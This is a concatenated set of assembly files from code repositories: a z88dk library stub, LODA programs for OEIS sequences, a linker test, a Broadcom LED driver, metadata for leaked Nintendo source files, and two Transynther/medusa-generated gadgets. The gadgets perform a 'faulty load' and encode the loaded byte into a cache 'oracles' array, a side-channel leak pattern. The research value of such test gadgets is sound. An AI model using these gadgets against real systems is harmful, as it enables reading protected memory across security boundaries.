libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_size.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_size.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_size.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; size_t p_forward_list_size(p_forward_list_t *list) SECTION code_clib SECTION code_adt_p_forward_list PUBLIC _p_forward_list_size EXTERN asm_p_forward_list_size _p_forward_list_size: pop af pop hl push hl push af jp asm_p_forward_list_size
13.35
52
0.797753
1e5c43327fdae93fa2c8bcb5a36dd46917c88ac4
148
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-obj-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-obj-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/kart-obj-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: kart-obj-j.asm Type: file Size: 60170 Last-Modified: '1992-07-14T15:00:00Z' SHA-1: DD4ABC0B9A5D7AB152038A655DB77ACC0545147F Description: null
21.142857
47
0.804054
ab5578ee402b526f0c493fad25bd5a3ebccd8855
508
asm
Assembly
oeis/082/A082804.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/082/A082804.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/082/A082804.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A082804: Smallest multiple of 9 beginning with n. ; Submitted by Jon Maiga ; 18,27,36,45,54,63,72,81,9,108,117,126,135,144,153,162,171,18,198,207,216,225,234,243,252,261,27,288,297,306,315,324,333,342,351,36,378,387,396,405,414,423,432,441,45,468,477,486,495,504,513,522,531,54,558,567,576,585,594,603,612,621,63,648,657,666,675,684,693,702,711,72,738,747,756,765,774,783,792,801,81,828,837,846,855,864,873,882,891,90,918,927,936,945,954,963,972,981,99,1008 mul $0,10 div $0,9 add $0,2 dif $0,10 mul $0,9
50.8
382
0.722441
4d282ceaa254d5af9126c3036db47b5276913aa7
1,411
asm
Assembly
programs/oeis/022/A022383.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/022/A022383.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/022/A022383.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A022383: Fibonacci sequence beginning 4, 14. ; 4,14,18,32,50,82,132,214,346,560,906,1466,2372,3838,6210,10048,16258,26306,42564,68870,111434,180304,291738,472042,763780,1235822,1999602,3235424,5235026,8470450,13705476,22175926,35881402,58057328,93938730,151996058,245934788,397930846,643865634,1041796480,1685662114,2727458594,4413120708,7140579302,11553700010,18694279312,30247979322,48942258634,79190237956,128132496590,207322734546,335455231136,542777965682,878233196818,1421011162500,2299244359318,3720255521818,6019499881136,9739755402954,15759255284090,25499010687044,41258265971134,66757276658178,108015542629312,174772819287490,282788361916802,457561181204292,740349543121094,1197910724325386,1938260267446480,3136170991771866,5074431259218346,8210602250990212,13285033510208558,21495635761198770,34780669271407328,56276305032606098,91056974304013426,147333279336619524,238390253640632950,385723532977252474,624113786617885424,1009837319595137898,1633951106213023322,2643788425808161220,4277739532021184542,6921527957829345762,11199267489850530304,18120795447679876066,29320062937530406370,47440858385210282436,76760921322740688806,124201779707950971242,200962701030691660048,325164480738642631290,526127181769334291338,851291662507976922628,1377418844277311213966,2228710506785288136594,3606129351062599350560 seq $0,22320 ; a(n) = a(n-1) + a(n-2) + 1, with a(0) = 1 and a(1) = 6. add $0,1 mul $0,2
201.571429
1,273
0.885188
7bc9cdb12dc04de548c98936897cb7b850ec717d
203
asm
Assembly
test/link/group3/seg1a.asm
nigelperks/BasicAssembler
13dcc861254fa6c19f1d450682b4495bbebcf934
[ "MIT" ]
null
null
null
test/link/group3/seg1a.asm
nigelperks/BasicAssembler
13dcc861254fa6c19f1d450682b4495bbebcf934
[ "MIT" ]
null
null
null
test/link/group3/seg1a.asm
nigelperks/BasicAssembler
13dcc861254fa6c19f1d450682b4495bbebcf934
[ "MIT" ]
null
null
null
IDEAL ASSUME CS:SEG1, DS:SEG1, ES:SEG1, SS:SEG1 SEGMENT SEG1 PUBLIC ORG 100h start: mov ax, 1234h mov dx, 5678h call start int 21h jmp near CS:100h ENDS GROUP MYGROUP SEG1 END start
14.5
42
0.689655
7493cf778d34e6825cd688a8d35fe0765005122c
4,235
asm
Assembly
sdk-6.5.20/tools/led/example/hurricane3/bcm953446r.asm
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/tools/led/example/hurricane3/bcm953446r.asm
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/tools/led/example/hurricane3/bcm953446r.asm
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
; ; $Id: bcm953446r.asm, v 1.0 2015/08/05 15:30:14 rihuang Exp $ ; ; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. ; ; Copyright 2007-2020 Broadcom Inc. All rights reserved. ; ; This example is used for showing the serial to parallel EGPHY LEDs on ; BCM953446R. ; To enalbe serial to parallel LED, TOP_PARALLEL_LED_CTRLr.LED_SER2PAR_SELf ; must be set. ; ; To start it, use the following commands from BCM: ; ; led load bcm953446r.hex ; led auto on ; led start ; ; Each EGPHY port needs to output 4 bits stream, ; bit 0: LED_0 ; bit 1: LED_1 ; bit 2: Not used. Must be 0. ; bit 3: Not used. Must be 0. ; ; Each TSCE port needs to output 2 bits stream, ; bit 0: LED_0 ; bit 1: LED_1 ; ; Totally 96 bits need be outputed. (96 = 24 * 4). ; The first 48 bits (for 16 EGPHY ports) are displayed by serial to parallel LED. ; The last 8 bits are used for TSCE serial LED. ; The other 24 bits are not used for LED. ; ; In physical port view, the output order is: ; 17, 16, ..., 10, 26, 27, ..., 33, 24-dummy-bits, 34, 35, 36, 37 ; ; Link up/down info cannot be derived from LINKEN, as the LED ; processor does not always have access to link status. This program ; assumes link status is kept current in bit 0 of RAM byte (0xA0 + portnum). ; Generally, a program running on the main CPU must update these ; locations on link change; see linkscan callback in ; $SDK/src/appl/diag/ledproc.c. ; ; ; Constants ; START_PORT_0 equ 17 END_PORT_0 equ 10 START_PORT_1 equ 26 END_PORT_1 equ 33 START_PORT_2 equ 37 END_PORT_2 equ 34 ; ; LED process ; start_sec0: ld a, START_PORT_0 iter_sec0: port a ld (PORT_NUM), a call get_link_hw ld a, (PORT_NUM) dec a cmp a, END_PORT_0 - 1 jnz iter_sec0 start_sec1: ld a, START_PORT_1 iter_sec1: port a ld (PORT_NUM), a call get_link_hw ld a, (PORT_NUM) inc a cmp a, END_PORT_1 + 1 jnz iter_sec1 start_dummy_bits: ld a, 0 iter_dummy_bits: call led_off_4bits inc a cmp a, 6 jnz iter_dummy_bits start_sec2: ld a, START_PORT_2 iter_sec2: port a ld (PORT_NUM), a call get_link_hw ld a, (PORT_NUM) dec a cmp a, END_PORT_2 - 1 jnz iter_sec2 end: send 96 ; ; get_link_sw ; ; This routine finds the link status LED for a port. ; Link info is in bit 0 of the byte read from PORTDATA[port] ; Inputs: (PORT_NUM) ; Outputs: Carry flag set if link is up, clear if link is down. ; Destroys: a, b get_link_sw: ld b, PORTDATA add b, (PORT_NUM) ld a, (b) tst a, 0 jc led_on jmp led_off ; ; get_link_hw ; ; This routine finds the link status LED for a port from HW. ; Inputs: (PORT_NUM) ; Outputs: Carry flag set if link is up, clear if link is down. ; Destroys: a, b get_link_hw: pushst LINKEN pop jc led_on jmp led_off ; ; led_on ; ; Outputs: Bits to the LED stream indicating ON ; led_on: ld b, (PORT_NUM) cmp b, 34 jc led_on_4bits jmp led_on_2bits ; Trun on LED for GE port led_on_4bits: push 1 pack push 1 pack push 0 pack push 0 pack ret ; Trun on LED for XE port led_on_2bits: push 0 pack push 0 pack ret ; ; led_off ; ; Outputs: Bits to the LED stream indicating OFF ; led_off: ld b, (PORT_NUM) cmp b, 34 jc led_off_4bits jmp led_off_2bits ; Trun off LED for GE port led_off_4bits: push 0 pack push 0 pack push 0 pack push 0 pack ret ; Trun off LED for XE port led_off_2bits: push 1 pack push 1 pack ret ; Variables (SDK software initializes LED memory from 0xA0-0xff to 0) PORTDATA equ 0xA0 PORT_NUM equ 0xE0 ; Symbolic names for the bits of the port status fields RX equ 0x0 ; received packet TX equ 0x1 ; transmitted packet COLL equ 0x2 ; collision indicator SPEED_C equ 0x3 ; 100 Mbps SPEED_M equ 0x4 ; 1000 Mbps DUPLEX equ 0x5 ; half/full duplex FLOW equ 0x6 ; flow control capable LINKUP equ 0x7 ; link down/up status LINKEN equ 0x8 ; link disabled/enabled status ZERO equ 0xE ; always 0 ONE equ 0xF ; always 1
19.606481
133
0.664463
93339cdd95b21b4cf2bbd6990023fdc674760514
5,986
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1271.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1271.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1271.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1e36f, %rdi nop inc %r12 movups (%rdi), %xmm5 vpextrq $1, %xmm5, %rsi nop nop nop nop cmp $57179, %rbx lea addresses_WT_ht+0xa6ef, %rcx nop nop nop cmp %r9, %r9 mov $0x6162636465666768, %r12 movq %r12, %xmm5 movups %xmm5, (%rcx) nop nop nop nop sub $18156, %rdi lea addresses_normal_ht+0x78b, %rdi nop xor $30917, %rbx mov (%rdi), %esi cmp $12678, %rcx lea addresses_D_ht+0x1216f, %rsi lea addresses_A_ht+0x1156f, %rdi nop nop nop nop and $15600, %rbx mov $7, %rcx rep movsw nop nop dec %r9 lea addresses_WC_ht+0x64ef, %rsi lea addresses_WC_ht+0x866f, %rdi add $5181, %r9 mov $14, %rcx rep movsw nop nop add %rsi, %rsi lea addresses_WT_ht+0xa76f, %r12 nop nop nop nop and $11420, %rsi movw $0x6162, (%r12) nop nop nop nop add %rdi, %rdi lea addresses_A_ht+0x15a75, %r12 nop nop nop nop sub %r11, %r11 and $0xffffffffffffffc0, %r12 vmovaps (%r12), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %r9 nop nop nop nop dec %rdi lea addresses_WT_ht+0x1c06f, %rsi nop nop nop nop nop inc %r9 mov $0x6162636465666768, %r11 movq %r11, %xmm3 vmovups %ymm3, (%rsi) nop nop nop add %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r8 push %rdx push %rsi // Faulty Load lea addresses_A+0x1c56f, %r10 nop nop nop xor $52984, %r8 mov (%r10), %r14w lea oracles, %rdx and $0xff, %r14 shlq $12, %r14 mov (%rdx,%r14,1), %r14 pop %rsi pop %rdx pop %r8 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': True, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
38.87013
2,999
0.66004
0e52e1621bba733330c666086903a288e319ea30
112
asm
Assembly
libpal/intel_64bit_systemv_nasm/vmread.asm
mars-research/pal
5977394cda8750ff5dcb89c2bf193ec1ef4cd137
[ "MIT" ]
26
2020-01-06T23:53:17.000Z
2022-02-01T08:58:21.000Z
libpal/intel_64bit_systemv_nasm/vmread.asm
mars-research/pal
5977394cda8750ff5dcb89c2bf193ec1ef4cd137
[ "MIT" ]
30
2019-11-13T00:55:22.000Z
2022-01-06T08:09:35.000Z
libpal/intel_64bit_systemv_nasm/vmread.asm
mars-research/pal
5977394cda8750ff5dcb89c2bf193ec1ef4cd137
[ "MIT" ]
14
2019-11-15T16:56:22.000Z
2021-12-22T10:14:17.000Z
bits 64 default rel section .text global pal_execute_vmread pal_execute_vmread : vmread rax, rdi ret
11.2
26
0.75
5e58acef729fb11782911e07a410413634574c69
422
asm
Assembly
programs/oeis/083/A083330.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/083/A083330.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/083/A083330.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A083330: a(n) = (3*4^n - 2*3^n + 2^n)/2. ; 1,4,17,73,311,1309,5447,22453,91871,373789,1514327,6115333,24636431,99073069,397878407,1596280213,6399436991,25640729149,102691925687,411154861093,1645781181551,6586610462029,26356900104167 mov $1,1 mov $3,6 lpb $0 sub $0,1 add $4,$3 mov $2,$4 mul $2,2 mul $3,2 add $4,$2 lpe sub $0,$3 add $1,$2 mul $3,$0 sub $0,$1 mul $0,2 sub $0,$3 mov $1,$0 div $1,24 add $1,1
18.347826
191
0.658768
e9ee828ad9e3f00e891b9ce0e36f1eef68b53f35
6,053
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1167.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1167.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xca_notsx.log_21829_1167.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rax push %rcx push %rdi push %rsi lea addresses_normal_ht+0x6b0a, %r14 nop nop nop nop and %r11, %r11 movw $0x6162, (%r14) inc %rax lea addresses_UC_ht+0x176ba, %rcx cmp $29197, %r11 movl $0x61626364, (%rcx) nop nop nop cmp $48977, %r14 lea addresses_normal_ht+0x146ba, %rsi lea addresses_WT_ht+0xc3ba, %rdi nop nop nop nop nop add $12831, %r13 mov $45, %rcx rep movsl nop dec %rdi lea addresses_WT_ht+0x15fba, %r11 nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %rsi movq %rsi, %xmm1 movups %xmm1, (%r11) nop nop and $30143, %rsi lea addresses_D_ht+0x1b0da, %rax clflush (%rax) nop nop nop xor $8047, %r14 mov (%rax), %si nop nop nop xor %rdi, %rdi lea addresses_normal_ht+0x3eba, %rcx nop lfence movw $0x6162, (%rcx) nop nop nop inc %r14 lea addresses_UC_ht+0x136ba, %rcx nop nop nop nop nop sub $10937, %rsi movb $0x61, (%rcx) nop nop nop cmp $1438, %r11 lea addresses_A_ht+0x1c0fa, %rdi inc %rax mov (%rdi), %r13w nop dec %rcx pop %rsi pop %rdi pop %rcx pop %rax pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0x140ba, %rsi lea addresses_WC+0xffe2, %rdi inc %r9 mov $71, %rcx rep movsq nop nop nop sub $44746, %rsi // Faulty Load lea addresses_PSE+0x7eba, %rbp nop cmp $62694, %r15 movb (%rbp), %r9b lea oracles, %r12 and $0xff, %r9 shlq $12, %r9 mov (%r12,%r9,1), %r9 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_A'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
39.822368
2,999
0.658351
e01ee81d21cfcd2334d246236139c83e397f6219
148
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/z00_rmdt0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/z00_rmdt0.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/z00_rmdt0.asm
